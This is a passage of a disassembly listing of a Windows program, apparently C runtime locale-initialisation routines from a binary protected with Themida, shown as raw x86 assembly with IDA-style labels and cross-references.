mov [ebp+var_20], edx
loc_42BB5F: ; CODE XREF: sub_42B9E0+174j
mov eax, [ebp+var_18]
xor ecx, ecx
mov cl, [eax+1]
cmp [ebp+var_20], ecx
jg short loc_42BB77
mov edx, [ebp+var_2C]
add edx, [ebp+var_20]
mov byte ptr [edx], 0
jmp short loc_42BB56
; ---------------------------------------------------------------------------
loc_42BB77: ; CODE XREF: sub_42B9E0+18Aj
jmp short loc_42BB2A
; ---------------------------------------------------------------------------
loc_42BB79: ; CODE XREF: sub_42B9E0+140j
; sub_42B9E0+15Cj ...
push 0
push 0
push 0
mov eax, [ebp+var_30]
add eax, 2
push eax
push 100h
mov ecx, [ebp+var_2C]
push ecx
push 1
call sub_427D80
add esp, 1Ch
test eax, eax
jnz short loc_42BBA2
jmp loc_42BCF2
; ---------------------------------------------------------------------------
loc_42BBA2: ; CODE XREF: sub_42B9E0+1BBj
mov edx, [ebp+var_30]
mov word ptr [edx], 0
mov eax, [ebp+var_28]
mov [ebp+var_24], eax
mov [ebp+var_20], 0
jmp short loc_42BBC2
; ---------------------------------------------------------------------------
loc_42BBB9: ; CODE XREF: sub_42B9E0+1FEj
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
loc_42BBC2: ; CODE XREF: sub_42B9E0+1D7j
cmp [ebp+var_20], 100h
jge short loc_42BBE0
mov edx, [ebp+var_24]
mov ax, word ptr [ebp+var_20]
mov [edx], ax
mov ecx, [ebp+var_24]
add ecx, 2
mov [ebp+var_24], ecx
jmp short loc_42BBB9
; ---------------------------------------------------------------------------
loc_42BBE0: ; CODE XREF: sub_42B9E0+1E9j
push 0
push 0
mov edx, [ebp+var_1C]
add edx, 2
push edx
push 100h
mov eax, [ebp+var_28]
push eax
push 1
call sub_42FC00
add esp, 18h
test eax, eax
jnz short loc_42BC07
jmp loc_42BCF2
; ---------------------------------------------------------------------------
loc_42BC07: ; CODE XREF: sub_42B9E0+220j
mov ecx, [ebp+var_1C]
mov word ptr [ecx], 0
cmp dword_443B70, 1
jle short loc_42BC73
lea edx, [ebp+var_E]
mov [ebp+var_18], edx
jmp short loc_42BC29
; ---------------------------------------------------------------------------
loc_42BC20: ; CODE XREF: sub_42B9E0:loc_42BC71j
mov eax, [ebp+var_18]
add eax, 2
mov [ebp+var_18], eax
loc_42BC29: ; CODE XREF: sub_42B9E0+23Ej
mov ecx, [ebp+var_18]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz short loc_42BC73
mov eax, [ebp+var_18]
xor ecx, ecx
mov cl, [eax+1]
test ecx, ecx
jz short loc_42BC73
mov edx, [ebp+var_18]
xor eax, eax
mov al, [edx]
mov [ebp+var_20], eax
jmp short loc_42BC55
; ---------------------------------------------------------------------------
loc_42BC4C: ; CODE XREF: sub_42B9E0+28Fj
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
loc_42BC55: ; CODE XREF: sub_42B9E0+26Aj
mov edx, [ebp+var_18]
xor eax, eax
mov al, [edx+1]
cmp [ebp+var_20], eax
jg short loc_42BC71
mov ecx, [ebp+var_20]
mov edx, [ebp+var_30]
mov word ptr [edx+ecx*2+2], 8000h
jmp short loc_42BC4C
; ---------------------------------------------------------------------------
loc_42BC71: ; CODE XREF: sub_42B9E0+280j
jmp short loc_42BC20
; ---------------------------------------------------------------------------
loc_42BC73: ; CODE XREF: sub_42B9E0+236j
; sub_42B9E0+252j ...
mov eax, [ebp+var_30]
add eax, 2
mov off_443C7C, eax
mov ecx, [ebp+var_1C]
add ecx, 2
mov off_443C80, ecx
cmp dword_4DB3DC, 0
jz short loc_42BCA4
push 2
mov edx, dword_4DB3DC
push edx
call sub_415860
add esp, 8
loc_42BCA4: ; CODE XREF: sub_42B9E0+2B1j
mov eax, [ebp+var_30]
mov dword_4DB3DC, eax
cmp dword_4DB3E0, 0
jz short loc_42BCC6
push 2
mov ecx, dword_4DB3E0
push ecx
call sub_415860
add esp, 8
loc_42BCC6: ; CODE XREF: sub_42B9E0+2D3j
mov edx, [ebp+var_1C]
mov dword_4DB3E0, edx
push 2
mov eax, [ebp+var_2C]
push eax
call sub_415860
add esp, 8
push 2
mov ecx, [ebp+var_28]
push ecx
call sub_415860
add esp, 8
xor eax, eax
jmp loc_42BD7C
; ---------------------------------------------------------------------------
loc_42BCF2: ; CODE XREF: sub_42B9E0+4Bj
; sub_42B9E0:loc_42BAACj ...
push 2
mov edx, [ebp+var_30]
push edx
call sub_415860
add esp, 8
push 2
mov eax, [ebp+var_1C]
push eax
call sub_415860
add esp, 8
push 2
mov ecx, [ebp+var_2C]
push ecx
call sub_415860
add esp, 8
push 2
mov edx, [ebp+var_28]
push edx
call sub_415860
add esp, 8
mov eax, 1
jmp short loc_42BD7C
; ---------------------------------------------------------------------------
loc_42BD31: ; CODE XREF: sub_42B9E0+1Bj
mov off_443C7C, offset word_443C86
mov off_443C80, offset word_443C86
push 2
mov eax, dword_4DB3DC
push eax
call sub_415860
add esp, 8
push 2
mov ecx, dword_4DB3E0
push ecx
call sub_415860
add esp, 8
mov dword_4DB3DC, 0
mov dword_4DB3E0, 0
xor eax, eax
loc_42BD7C: ; CODE XREF: sub_42B9E0+30Dj
; sub_42B9E0+34Fj
mov esp, ebp
pop ebp
retn
sub_42B9E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BD80 proc near ; DATA XREF: ___:00444394o
push ebp
mov ebp, esp
xor eax, eax
pop ebp
retn
sub_42BD80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BD90 proc near ; CODE XREF: ___:00424B9Ep
; sub_425250+7Bp
var_24 = dword ptr -24h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
mov edx, [ebp+arg_4]
lea ecx, [ecx+0]
loc_42BDA4: ; CODE XREF: sub_42BD90+1Fj
mov al, [edx]
or al, al
jz short loc_42BDB1
inc edx
bts [esp+24h+var_24], eax
jmp short loc_42BDA4
; ---------------------------------------------------------------------------
loc_42BDB1: ; CODE XREF: sub_42BD90+18j
mov esi, [ebp+arg_0]
or ecx, 0FFFFFFFFh
nop
loc_42BDB8: ; CODE XREF: sub_42BD90+34j
inc ecx
mov al, [esi]
or al, al
jz short loc_42BDC6
inc esi
bt [esp+24h+var_24], eax
jnb short loc_42BDB8
loc_42BDC6: ; CODE XREF: sub_42BD90+2Dj
mov eax, ecx
add esp, 20h
pop esi
leave
retn
sub_42BD90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BDD0 proc near ; CODE XREF: ___:00424ABDp
var_24 = dword ptr -24h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
mov edx, [ebp+arg_4]
lea ecx, [ecx+0]
loc_42BDE4: ; CODE XREF: sub_42BDD0+1Fj
mov al, [edx]
or al, al
jz short loc_42BDF1
inc edx
bts [esp+24h+var_24], eax
jmp short loc_42BDE4
; ---------------------------------------------------------------------------
loc_42BDF1: ; CODE XREF: sub_42BDD0+18j
mov esi, [ebp+arg_0]
loc_42BDF4: ; CODE XREF: sub_42BDD0+2Fj
mov al, [esi]
or al, al
jz short loc_42BE04
inc esi
bt [esp+24h+var_24], eax
jnb short loc_42BDF4
lea eax, [esi-1]
loc_42BE04: ; CODE XREF: sub_42BDD0+28j
add esp, 20h
pop esi
leave
retn
sub_42BDD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BE10 proc near ; CODE XREF: sub_425060+D3p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
cmp dword_4DB428, 0
jnz short loc_42BE42
call sub_42C8E0
test eax, eax
jz short loc_42BE32
mov eax, dword_4DD314
mov [ebp+var_8], eax
jmp short loc_42BE39
; ---------------------------------------------------------------------------
loc_42BE32: ; CODE XREF: sub_42BE10+16j
mov [ebp+var_8], offset sub_42C930
loc_42BE39: ; CODE XREF: sub_42BE10+20j
mov ecx, [ebp+var_8]
mov dword_4DB428, ecx
loc_42BE42: ; CODE XREF: sub_42BE10+Dj
cmp [ebp+arg_0], 0
jnz short loc_42BE52
call sub_42C730
jmp loc_42BF1E
; ---------------------------------------------------------------------------
loc_42BE52: ; CODE XREF: sub_42BE10+36j
mov edx, [ebp+arg_0]
mov dword_4DB418, edx
cmp dword_4DB418, 0
jz short loc_42BE84
mov eax, dword_4DB418
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42BE84
push offset dword_4DB418
push 40h
push offset off_444BA0
call sub_42C010
add esp, 0Ch
loc_42BE84: ; CODE XREF: sub_42BE10+52j
; sub_42BE10+5Ej
mov edx, [ebp+arg_0]
add edx, 40h
mov dword_4DB41C, edx
cmp dword_4DB41C, 0
jz short loc_42BEB9
mov eax, dword_4DB41C
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42BEB9
push offset dword_4DB41C
push 16h
push offset off_444AE8
call sub_42C010
add esp, 0Ch
loc_42BEB9: ; CODE XREF: sub_42BE10+87j
; sub_42BE10+93j
mov dword_4DB420, 0
cmp dword_4DB418, 0
jz short loc_42BEFD
mov edx, dword_4DB418
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_42BEFD
cmp dword_4DB41C, 0
jz short loc_42BEF6
mov ecx, dword_4DB41C
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_42BEF6
call sub_42C0A0
jmp short loc_42BEFB
; ---------------------------------------------------------------------------
loc_42BEF6: ; CODE XREF: sub_42BE10+D0j
; sub_42BE10+DDj
call sub_42C490
loc_42BEFB: ; CODE XREF: sub_42BE10+E4j
jmp short loc_42BF1E
; ---------------------------------------------------------------------------
loc_42BEFD: ; CODE XREF: sub_42BE10+BAj
; sub_42BE10+C7j
cmp dword_4DB41C, 0
jz short loc_42BF19
mov eax, dword_4DB41C
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42BF19
call sub_42C630
jmp short loc_42BF1E
; ---------------------------------------------------------------------------
loc_42BF19: ; CODE XREF: sub_42BE10+F4j
; sub_42BE10+100j
call sub_42C730
loc_42BF1E: ; CODE XREF: sub_42BE10+3Dj
; sub_42BE10:loc_42BEFBj ...
cmp dword_4DB420, 0
jnz short loc_42BF2E
xor eax, eax
jmp loc_42C00C
; ---------------------------------------------------------------------------
loc_42BF2E: ; CODE XREF: sub_42BE10+115j
mov edx, [ebp+arg_0]
add edx, 80h
push edx
call sub_42C760
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_42BF5C
mov eax, [ebp+var_4]
and eax, 0FFFFh
push eax
nop
call near ptr 26300A5h
test eax, eax
jnz short loc_42BF63
loc_42BF5C: ; CODE XREF: sub_42BE10+137j
xor eax, eax
jmp loc_42C00C
; ---------------------------------------------------------------------------
loc_42BF63: ; CODE XREF: sub_42BE10+14Aj
push 1
mov ecx, dword_4DB408
push ecx
call near ptr 2640000h
nop
test eax, eax
jnz short loc_42BF7D
xor eax, eax
jmp loc_42C00C
; ---------------------------------------------------------------------------
loc_42BF7D: ; CODE XREF: sub_42BE10+164j
cmp [ebp+arg_4], 0
jz short loc_42BFA8
mov edx, [ebp+arg_4]
mov ax, word ptr dword_4DB408
mov [edx], ax
mov ecx, [ebp+arg_4]
mov dx, word ptr dword_4DB424
mov [ecx+2], dx
mov eax, [ebp+arg_4]
mov cx, word ptr [ebp+var_4]
mov [eax+4], cx
loc_42BFA8: ; CODE XREF: sub_42BE10+171j
cmp [ebp+arg_8], 0
jz short loc_42C007
push 40h
mov edx, [ebp+arg_8]
push edx
push 1001h
mov eax, dword_4DB408
push eax
call dword_4DB428
test eax, eax
jnz short loc_42BFCD
xor eax, eax
jmp short loc_42C00C
; ---------------------------------------------------------------------------
loc_42BFCD: ; CODE XREF: sub_42BE10+1B7j
push 40h
mov ecx, [ebp+arg_8]
add ecx, 40h
push ecx
push 1002h
mov edx, dword_4DB424
push edx
call dword_4DB428
test eax, eax
jnz short loc_42BFF0
xor eax, eax
jmp short loc_42C00C
; ---------------------------------------------------------------------------
loc_42BFF0: ; CODE XREF: sub_42BE10+1DAj
push 0Ah
mov eax, [ebp+arg_8]
add eax, 80h
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_426D90
add esp, 0Ch
loc_42C007: ; CODE XREF: sub_42BE10+19Cj
mov eax, 1
loc_42C00C: ; CODE XREF: sub_42BE10+119j
; sub_42BE10+14Ej ...
mov esp, ebp
pop ebp
retn
sub_42BE10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C010 proc near ; CODE XREF: sub_42BE10+6Cp
; sub_42BE10+A1p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_8], 1
mov [ebp+var_C], 0
loc_42C024: ; CODE XREF: sub_42C010:loc_42C08Cj
mov eax, [ebp+var_C]
cmp eax, [ebp+arg_4]
jg short loc_42C08E
cmp [ebp+var_8], 0
jz short loc_42C08E
mov eax, [ebp+var_C]
add eax, [ebp+arg_4]
cdq
sub eax, edx
sar eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*8]
push eax
mov ecx, [ebp+arg_8]
mov edx, [ecx]
push edx
call sub_42FE70
add esp, 8
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_42C072
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
lea edx, [ecx+eax*8+4]
mov eax, [ebp+arg_8]
mov [eax], edx
jmp short loc_42C08C
; ---------------------------------------------------------------------------
loc_42C072: ; CODE XREF: sub_42C010+4Fj
cmp [ebp+var_8], 0
jge short loc_42C083
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+arg_4], ecx
jmp short loc_42C08C
; ---------------------------------------------------------------------------
loc_42C083: ; CODE XREF: sub_42C010+66j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_C], edx
loc_42C08C: ; CODE XREF: sub_42C010+60j
; sub_42C010+71j
jmp short loc_42C024
; ---------------------------------------------------------------------------
loc_42C08E: ; CODE XREF: sub_42C010+1Aj
; sub_42C010+20j
mov esp, ebp
pop ebp
retn
sub_42C010 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C0A0 proc near ; CODE XREF: sub_42BE10+DFp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DB418
push eax
call sub_414BE0
add esp, 4
xor ecx, ecx
cmp eax, 3
setz cl
mov dword_4DB414, ecx
mov edx, dword_4DB41C
push edx
call sub_414BE0
add esp, 4
xor ecx, ecx
cmp eax, 3
setz cl
mov dword_4DB40C, ecx
mov dword_4DB408, 0
cmp dword_4DB414, 0
jz short loc_42C0F9
mov [ebp+var_4], 2
jmp short loc_42C10B
; ---------------------------------------------------------------------------
loc_42C0F9: ; CODE XREF: sub_42C0A0+4Ej
mov edx, dword_4DB418
push edx
call sub_42CB40
add esp, 4
mov [ebp+var_4], eax
loc_42C10B: ; CODE XREF: sub_42C0A0+57j
mov eax, [ebp+var_4]
mov dword_4DB410, eax
push 1
push offset sub_42C160
nop
call near ptr 2630000h
mov ecx, dword_4DB420
and ecx, 100h
test ecx, ecx
jz short loc_42C14C
mov edx, dword_4DB420
and edx, 200h
test edx, edx
jz short loc_42C14C
mov eax, dword_4DB420
and eax, 7
test eax, eax
jnz short loc_42C156
loc_42C14C: ; CODE XREF: sub_42C0A0+8Ej
; sub_42C0A0+9Ej
mov dword_4DB420, 0
loc_42C156: ; CODE XREF: sub_42C0A0+AAj
mov esp, ebp
pop ebp
retn
sub_42C0A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C160 proc near ; DATA XREF: sub_42C0A0+75o
var_7C = dword ptr -7Ch
var_78 = byte ptr -78h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 7Ch
mov eax, [ebp+arg_0]
push eax
call sub_42CAC0
add esp, 4
mov [ebp+var_7C], eax
push 78h
lea ecx, [ebp+var_78]
push ecx
mov edx, dword_4DB40C
neg edx
sbb edx, edx
and edx, 0FFFFF005h
add edx, 1002h
push edx
mov eax, [ebp+var_7C]
push eax
call dword_4DB428
test eax, eax
jnz short loc_42C1B4
mov dword_4DB420, 0
mov eax, 1
jmp loc_42C47E
; ---------------------------------------------------------------------------
loc_42C1B4: ; CODE XREF: sub_42C160+3Ej
lea ecx, [ebp+var_78]
push ecx
mov edx, dword_4DB41C
push edx
call sub_42FE70
add esp, 8
test eax, eax
jnz loc_42C2EF
push 78h
lea eax, [ebp+var_78]
push eax
mov ecx, dword_4DB414
neg ecx
sbb ecx, ecx
and ecx, 0FFFFF002h
add ecx, 1001h
push ecx
mov edx, [ebp+var_7C]
push edx
call dword_4DB428
test eax, eax
jnz short loc_42C20E
mov dword_4DB420, 0
mov eax, 1
jmp loc_42C47E
; ---------------------------------------------------------------------------
loc_42C20E: ; CODE XREF: sub_42C160+98j
lea eax, [ebp+var_78]
push eax
mov ecx, dword_4DB418
push ecx
call sub_42FE70
add esp, 8
test eax, eax
jnz short loc_42C250
mov edx, dword_4DB420
or edx, 304h
mov dword_4DB420, edx
mov eax, [ebp+var_7C]
mov dword_4DB424, eax
mov ecx, dword_4DB424
mov dword_4DB408, ecx
jmp loc_42C2EF
; ---------------------------------------------------------------------------
loc_42C250: ; CODE XREF: sub_42C160+C3j
mov edx, dword_4DB420
and edx, 2
test edx, edx
jnz loc_42C2EF
cmp dword_4DB410, 0
jz short loc_42C2BD
mov eax, dword_4DB410
push eax
lea ecx, [ebp+var_78]
push ecx
mov edx, dword_4DB418
push edx
call sub_42FF40
add esp, 0Ch
test eax, eax
jnz short loc_42C2BD
mov eax, dword_4DB420
or al, 2
mov dword_4DB420, eax
mov ecx, [ebp+var_7C]
mov dword_4DB424, ecx
mov edx, dword_4DB418
push edx
call sub_414BE0
add esp, 4
cmp eax, dword_4DB410
jnz short loc_42C2BB
mov eax, [ebp+var_7C]
mov dword_4DB408, eax
loc_42C2BB: ; CODE XREF: sub_42C160+151j
jmp short loc_42C2EF
; ---------------------------------------------------------------------------
loc_42C2BD: ; CODE XREF: sub_42C160+108j
; sub_42C160+125j
mov ecx, dword_4DB420
and ecx, 1
test ecx, ecx
jnz short loc_42C2EF
mov edx, [ebp+var_7C]
push edx
call sub_42C800
add esp, 4
test eax, eax
jz short loc_42C2EF
mov eax, dword_4DB420
or al, 1
mov dword_4DB420, eax
mov ecx, [ebp+var_7C]
mov dword_4DB424, ecx
loc_42C2EF: ; CODE XREF: sub_42C160+69j
; sub_42C160+EBj ...
mov edx, dword_4DB420
and edx, 300h
cmp edx, 300h
jz loc_42C471
push 78h
lea eax, [ebp+var_78]
push eax
mov ecx, dword_4DB414
neg ecx
sbb ecx, ecx
and ecx, 0FFFFF002h
add ecx, 1001h
push ecx
mov edx, [ebp+var_7C]
push edx
call dword_4DB428
test eax, eax
jnz short loc_42C346
mov dword_4DB420, 0
mov eax, 1
jmp loc_42C47E
; ---------------------------------------------------------------------------
loc_42C346: ; CODE XREF: sub_42C160+1D0j
lea eax, [ebp+var_78]
push eax
mov ecx, dword_4DB418
push ecx
call sub_42FE70
add esp, 8
test eax, eax
jnz loc_42C410
mov edx, dword_4DB420
or dh, 2
mov dword_4DB420, edx
cmp dword_4DB414, 0
jz short loc_42C39A
mov eax, dword_4DB420
or ah, 1
mov dword_4DB420, eax
cmp dword_4DB408, 0
jnz short loc_42C398
mov ecx, [ebp+var_7C]
mov dword_4DB408, ecx
loc_42C398: ; CODE XREF: sub_42C160+22Dj
jmp short loc_42C40E
; ---------------------------------------------------------------------------
loc_42C39A: ; CODE XREF: sub_42C160+217j
cmp dword_4DB410, 0
jz short loc_42C3EF
mov edx, dword_4DB418
push edx
call sub_414BE0
add esp, 4
cmp eax, dword_4DB410
jnz short loc_42C3EF
push 1
mov eax, [ebp+var_7C]
push eax
call sub_42C850
add esp, 8
test eax, eax
jz short loc_42C3ED
mov ecx, dword_4DB420
or ch, 1
mov dword_4DB420, ecx
cmp dword_4DB408, 0
jnz short loc_42C3ED
mov edx, [ebp+var_7C]
mov dword_4DB408, edx
loc_42C3ED: ; CODE XREF: sub_42C160+26Aj
; sub_42C160+282j
jmp short loc_42C40E
; ---------------------------------------------------------------------------
loc_42C3EF: ; CODE XREF: sub_42C160+241j
; sub_42C160+258j
mov eax, dword_4DB420
or ah, 1
mov dword_4DB420, eax
cmp dword_4DB408, 0
jnz short loc_42C40E
mov ecx, [ebp+var_7C]
mov dword_4DB408, ecx
loc_42C40E: ; CODE XREF: sub_42C160:loc_42C398j
; sub_42C160:loc_42C3EDj ...
jmp short loc_42C471
; ---------------------------------------------------------------------------
loc_42C410: ; CODE XREF: sub_42C160+1FBj
cmp dword_4DB414, 0
jnz short loc_42C471
cmp dword_4DB410, 0
jz short loc_42C471
mov edx, dword_4DB410
push edx
lea eax, [ebp+var_78]
push eax
mov ecx, dword_4DB418
push ecx
call sub_42FF40
add esp, 0Ch
test eax, eax
jnz short loc_42C471
push 0
mov edx, [ebp+var_7C]
push edx
call sub_42C850
add esp, 8
test eax, eax
jz short loc_42C471
mov eax, dword_4DB420
or ah, 1
mov dword_4DB420, eax
cmp dword_4DB408, 0
jnz short loc_42C471
mov ecx, [ebp+var_7C]
mov dword_4DB408, ecx
loc_42C471: ; CODE XREF: sub_42C160+1A1j
; sub_42C160:loc_42C40Ej ...
mov eax, dword_4DB420
and eax, 4
neg eax
sbb eax, eax
inc eax
loc_42C47E: ; CODE XREF: sub_42C160+4Fj
; sub_42C160+A9j ...
mov esp, ebp
pop ebp
retn 4
sub_42C160 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C490 proc near ; CODE XREF: sub_42BE10:loc_42BEF6p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DB418
push eax
call sub_414BE0
add esp, 4
xor ecx, ecx
cmp eax, 3
setz cl
mov dword_4DB414, ecx
cmp dword_4DB414, 0
jz short loc_42C4C2
mov [ebp+var_4], 2
jmp short loc_42C4D4
; ---------------------------------------------------------------------------
loc_42C4C2: ; CODE XREF: sub_42C490+27j
mov edx, dword_4DB418
push edx
call sub_42CB40
add esp, 4
mov [ebp+var_4], eax
loc_42C4D4: ; CODE XREF: sub_42C490+30j
mov eax, [ebp+var_4]
mov dword_4DB410, eax
push 1
push offset sub_42C510
nop
call near ptr 2630000h
mov ecx, dword_4DB420
and ecx, 4
test ecx, ecx
jnz short loc_42C500
mov dword_4DB420, 0
loc_42C500: ; CODE XREF: sub_42C490+64j
mov esp, ebp
pop ebp
retn
sub_42C490 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C510 proc near ; DATA XREF: sub_42C490+4Eo
var_7C = dword ptr -7Ch
var_78 = byte ptr -78h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 7Ch
mov eax, [ebp+arg_0]
push eax
call sub_42CAC0
add esp, 4
mov [ebp+var_7C], eax
push 78h
lea ecx, [ebp+var_78]
push ecx
mov edx, dword_4DB414
neg edx
sbb edx, edx
and edx, 0FFFFF002h
add edx, 1001h
push edx
mov eax, [ebp+var_7C]
push eax
call dword_4DB428
test eax, eax
jnz short loc_42C564
mov dword_4DB420, 0
mov eax, 1
jmp loc_42C629
; ---------------------------------------------------------------------------
loc_42C564: ; CODE XREF: sub_42C510+3Ej
lea ecx, [ebp+var_78]
push ecx
loc_42C568: ; DATA XREF: Themida_:0056F96Do
mov edx, dword_4DB418
push edx
call sub_42FE70
add esp, 8
test eax, eax
jnz short loc_42C5B9
cmp dword_4DB414, 0
jnz short loc_42C596
push 1
mov eax, [ebp+var_7C]
push eax
call sub_42C850
add esp, 8
test eax, eax
jz short loc_42C5B7
loc_42C596: ; CODE XREF: sub_42C510+72j
mov ecx, [ebp+var_7C]
mov dword_4DB424, ecx
mov edx, dword_4DB424
mov dword_4DB408, edx
mov eax, dword_4DB420
or al, 4
mov dword_4DB420, eax
loc_42C5B7: ; CODE XREF: sub_42C510+84j
jmp short loc_42C61C
; ---------------------------------------------------------------------------
loc_42C5B9: ; CODE XREF: sub_42C510+69j
cmp dword_4DB414, 0
jnz short loc_42C61C
cmp dword_4DB410, 0
jz short loc_42C61C
mov ecx, dword_4DB410
push ecx
lea edx, [ebp+var_78]
push edx
mov eax, dword_4DB418
push eax
call sub_42FF40
add esp, 0Ch
test eax, eax
jnz short loc_42C61C
push 0
mov ecx, [ebp+var_7C]
push ecx
call sub_42C850
add esp, 8
test eax, eax
jz short loc_42C61C
mov edx, [ebp+var_7C]
mov dword_4DB424, edx
mov eax, dword_4DB424
mov dword_4DB408, eax
mov ecx, dword_4DB420
or ecx, 4
mov dword_4DB420, ecx
loc_42C61C: ; CODE XREF: sub_42C510:loc_42C5B7j
; sub_42C510+B0j ...
mov eax, dword_4DB420
and eax, 4
neg eax
sbb eax, eax
inc eax
loc_42C629: ; CODE XREF: sub_42C510+4Fj
mov esp, ebp
pop ebp
retn 4
sub_42C510 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C630 proc near ; CODE XREF: sub_42BE10+102p
push ebp
mov ebp, esp
mov eax, dword_4DB41C
push eax
call sub_414BE0
add esp, 4
xor ecx, ecx
cmp eax, 3
setz cl
mov dword_4DB40C, ecx
push 1
push offset sub_42C680
nop
call near ptr 2630000h
mov edx, dword_4DB420
and edx, 4
test edx, edx
jnz short loc_42C673
mov dword_4DB420, 0
loc_42C673: ; CODE XREF: sub_42C630+37j
pop ebp
retn
sub_42C630 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C680 proc near ; DATA XREF: sub_42C630+21o
var_7C = dword ptr -7Ch
var_78 = byte ptr -78h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 7Ch
mov eax, [ebp+arg_0]
push eax
call sub_42CAC0
add esp, 4
mov [ebp+var_7C], eax
push 78h
lea ecx, [ebp+var_78]
push ecx
mov edx, dword_4DB40C
neg edx
sbb edx, edx
and edx, 0FFFFF005h
add edx, 1002h
push edx
mov eax, [ebp+var_7C]
push eax
call dword_4DB428
test eax, eax
jnz short loc_42C6D1
mov dword_4DB420, 0
mov eax, 1
jmp short loc_42C726
; ---------------------------------------------------------------------------
loc_42C6D1: ; CODE XREF: sub_42C680+3Ej
lea ecx, [ebp+var_78]
push ecx
mov edx, dword_4DB41C
push edx
call sub_42FE70
add esp, 8
test eax, eax
jnz short loc_42C719
mov eax, [ebp+var_7C]
push eax
call sub_42C800
add esp, 4
test eax, eax
jz short loc_42C719
mov ecx, [ebp+var_7C]
mov dword_4DB424, ecx
mov edx, dword_4DB424
mov dword_4DB408, edx
mov eax, dword_4DB420
or al, 4
mov dword_4DB420, eax
loc_42C719: ; CODE XREF: sub_42C680+66j
; sub_42C680+76j
mov eax, dword_4DB420
and eax, 4
neg eax
sbb eax, eax
inc eax
loc_42C726: ; CODE XREF: sub_42C680+4Fj
mov esp, ebp
pop ebp
retn 4
sub_42C680 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C730 proc near ; CODE XREF: sub_42BE10+38p
; sub_42BE10:loc_42BF19p
push ebp
mov ebp, esp
mov eax, dword_4DB420
or eax, 104h
mov dword_4DB420, eax
nop
call near ptr 2620C10h
mov dword_4DB424, eax
mov ecx, dword_4DB424
mov dword_4DB408, ecx
pop ebp
retn
sub_42C730 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C760 proc near ; CODE XREF: sub_42BE10+128p
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
cmp [ebp+arg_0], 0
jz short loc_42C78B
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42C78B
push offset off_434D0C
mov edx, [ebp+arg_0]
push edx
call sub_417870
add esp, 8
test eax, eax
jnz short loc_42C7B3
loc_42C78B: ; CODE XREF: sub_42C760+Aj
; sub_42C760+14j
push 8
lea eax, [ebp+var_8]
push eax
push 1004h
mov ecx, dword_4DB424
push ecx
call dword_4DB428
test eax, eax
jnz short loc_42C7AB
xor eax, eax
jmp short loc_42C7F7
; ---------------------------------------------------------------------------
loc_42C7AB: ; CODE XREF: sub_42C760+45j
lea edx, [ebp+var_8]
mov [ebp+arg_0], edx
jmp short loc_42C7EB
; ---------------------------------------------------------------------------
loc_42C7B3: ; CODE XREF: sub_42C760+29j
push offset off_434D08
mov eax, [ebp+arg_0]
push eax
call sub_417870
add esp, 8
test eax, eax
jnz short loc_42C7EB
push 8
lea ecx, [ebp+var_8]
push ecx
push 0Bh
mov edx, dword_4DB424
push edx
call dword_4DB428
test eax, eax
jnz short loc_42C7E5
xor eax, eax
jmp short loc_42C7F7
